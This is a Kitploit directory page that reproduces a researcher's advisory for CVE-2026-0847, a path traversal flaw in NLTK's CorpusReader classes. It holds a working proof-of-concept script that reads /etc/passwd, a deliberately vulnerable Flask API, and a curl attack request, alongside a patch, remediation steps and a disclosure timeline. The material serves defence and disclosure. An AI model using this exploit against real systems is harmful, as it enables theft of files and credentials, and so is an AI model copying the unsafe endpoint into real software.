Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-0847 — A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. | Kitploit
Tools/GitHubGitHub/hyperps/cve-2026-0847
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubhyperps/cve-2026-0847

CVE-2026-0847

A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader.

View Repository
125 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-0847 — NLTK Multiple CorpusReader Classes: Arbitrary File Read via Path Traversal


Overview

FieldDetails
CVE IDCVE-2026-0847
Packagenltk (Natural Language Toolkit)
RegistryPyPI
Affected Versions<= 3.9.2
Vulnerability TypeCWE-22: Path Traversal
CVSS Score8.6 (High)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
Confidentiality ImpactHigh
Integrity ImpactLow
Availability ImpactLow
Reported OnDecember 4, 2025
CVE PublishedMarch 4, 2026
Supported ByPalo Alto Networks / Prisma AIRS
StatusFixed

Description

Multiple CorpusReader classes in the NLTK library accept file path arguments without applying any path canonicalization, allowlist validation, or sandbox restrictions. When an attacker controls the corpus filename or file input — a common scenario in machine learning APIs, upload-based NLP pipelines, and chatbot services — they can supply a crafted path to traverse the directory hierarchy and read arbitrary files on the server.

This vulnerability is particularly critical in networked deployments where NLTK processes user-controlled file paths, as no authentication or privilege is required to exploit it.


Affected Components

ClassFileStatus
WordListCorpusReaderwordlist.py L1–L120Vulnerable
TaggedCorpusReadertagged.py L1–L140Vulnerable
BracketParseCorpusReaderbracket_parse.py L1–L150Vulnerable
Other classes using the same base pattern—Pending wider audit

All three classes inherit the same unsafe CorpusReader.open() method, which performs no path restriction before resolving and reading the supplied file identifier.


Impact

Successful exploitation of this vulnerability can result in:

  • Arbitrary file read — An attacker can read any file accessible to the process running NLTK, including /etc/passwd, /etc/shadow, and /var/log/auth.log
  • Credential and secret exposure — SSH private keys (~/.ssh/id_rsa), .env files, API tokens, and cloud credential files can be extracted
  • Source code and training data disclosure — Other users' training data or proprietary application source code may be read
  • Remote Code Execution (chained) — When combined with pickle-deserialization vulnerabilities, path traversal can be used to load malicious model files and escalate to full RCE
  • Lateral movement — In microservice environments, extracted secrets have been observed enabling lateral movement and full server compromise

Proof of Concept

This information is provided for educational and defensive purposes only. Do not test against systems you do not own or have explicit authorization to test.

Local File Read via Direct API

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Output (abbreviated):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Remote Exploit Scenario — Vulnerable Flask API

A realistic scenario where NLTK is exposed via an HTTP API:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Attacker request:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Result: Full contents of /etc/passwd returned to the attacker with no authentication required.


Root Cause

The vulnerability originates in CorpusReader.open(). The method resolves the supplied fileid directly against the configured root path using FileSystemPathPointer.join() without performing any of the following checks:

  • Absolute path rejection
  • Parent directory traversal (..) detection
  • Path normalization and comparison to enforce confinement within the corpus root

Because FileSystemPathPointer can be initialized with /, an attacker who controls the filename argument has unrestricted read access to the entire filesystem.


Suggested Patch

Minimal fix proposed by the researcher, to be applied inside CorpusReader.open():

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

The upstream fix PR is available at: https://github.com/nltk/nltk/pull/3479


Remediation

ActionDetails
Upgrade NLTKUpdate to a version greater than 3.9.2 once an official patch is released
Input ValidationSanitize and validate all user-supplied file path values before passing them to any NLTK CorpusReader class
Avoid User-Controlled PathsDo not allow user input to directly or indirectly control the fileids argument of any CorpusReader
Least PrivilegeRun NLTK-based services under a restricted OS user account with read access limited to the corpus directory only
ContainerizationIsolate the service in a Docker container or chroot jail to limit the blast radius of a successful traversal
Ubuntu PatchMonitor the Ubuntu Security Advisory for distribution-level package updates

Upgrade via pip:

root@kitploit:~
pip install --upgrade nltk

Verify installed version:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Timeline

DateEvent
December 4, 2025Vulnerability reported to huntr.dev by researcher hyperps1
December 2025NLTK maintainer team notified via huntr.dev
January 2026NLTK maintainer validated the vulnerability; disclosure bounty awarded to researcher
January 2026CVE-2026-0847 assigned
February 202648-hour pre-publication warning sent to NLTK maintainers
March 4, 2026CVE published on NVD and huntr.dev
March 5, 2026NVD record last modified

References

ResourceLink
NVD Entryhttps://nvd.nist.gov/vuln/detail/CVE-2026-0847
Ubuntu Security Advisoryhttps://ubuntu.com/security/CVE-2026-0847
Official CVE Recordhttps://cve.org/CVERecord?id=CVE-2026-0847
huntr.dev Reporthttps://huntr.dev
Fix Pull Requesthttps://github.com/nltk/nltk/pull/3479
NLTK on PyPIhttps://pypi.org/project/nltk/
OWASP Path Traversalhttps://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html

Disclaimer

This repository documents CVE-2026-0847 strictly for educational, research, and defensive security purposes. The proof-of-concept code and technical details are provided to assist developers, security engineers, and system administrators in understanding, assessing, and remediating this vulnerability.

Any use of this information to access systems without explicit authorization is illegal and unethical. The author assumes no liability for misuse of the information contained herein.

Contributors @mohitf070304

Download Tool